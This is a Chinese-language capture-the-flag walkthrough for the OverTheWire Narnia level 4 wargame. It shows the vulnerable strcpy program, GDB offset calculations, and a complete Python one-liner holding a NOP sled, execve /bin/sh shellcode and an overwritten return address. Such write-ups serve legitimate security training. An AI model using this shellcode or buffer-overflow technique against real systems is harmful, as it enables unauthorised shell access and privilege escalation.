首页 > 代码库 > Wargame narnia level 4 (中文攻略)

Wargame narnia level 4 (中文攻略)

ssh narnia4@narnia.labs.overthewire.org

然后输入密码:XXOO

 

cat narnia4.c

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
    int i;
    char buffer[256];

    for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], \0, strlen(environ[i]));

    if(argc>1)
        strcpy(buffer,argv[1]);

    return 0;
}

又是一个经典的溢出。

下面简单说了。

GDB 调试,在strcpy() 前后下断,找到字符串起始位置。

我运行的是输入了256个a   (ASCII码为0x61)

image

 

image

 

这里可以得到字符串起始位置0xffffd52c  , 

在程序结束前下断点,(RET)

image

查看下此时的ESP内存区域。

image

0xffffd63c,   

63c-52c=110(  十进制是272 )        , 即272个字节即可覆盖返回地址。

然后就是SHELLCODE 的组织等等,这里就不多说了,和NARNIA2 很相似。

 

最后的构造

`python -c ‘print "\x90"*232 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*12 + "\x70\xd5\xff\xff" ‘`

 

image

 

QQ截圖20140609121905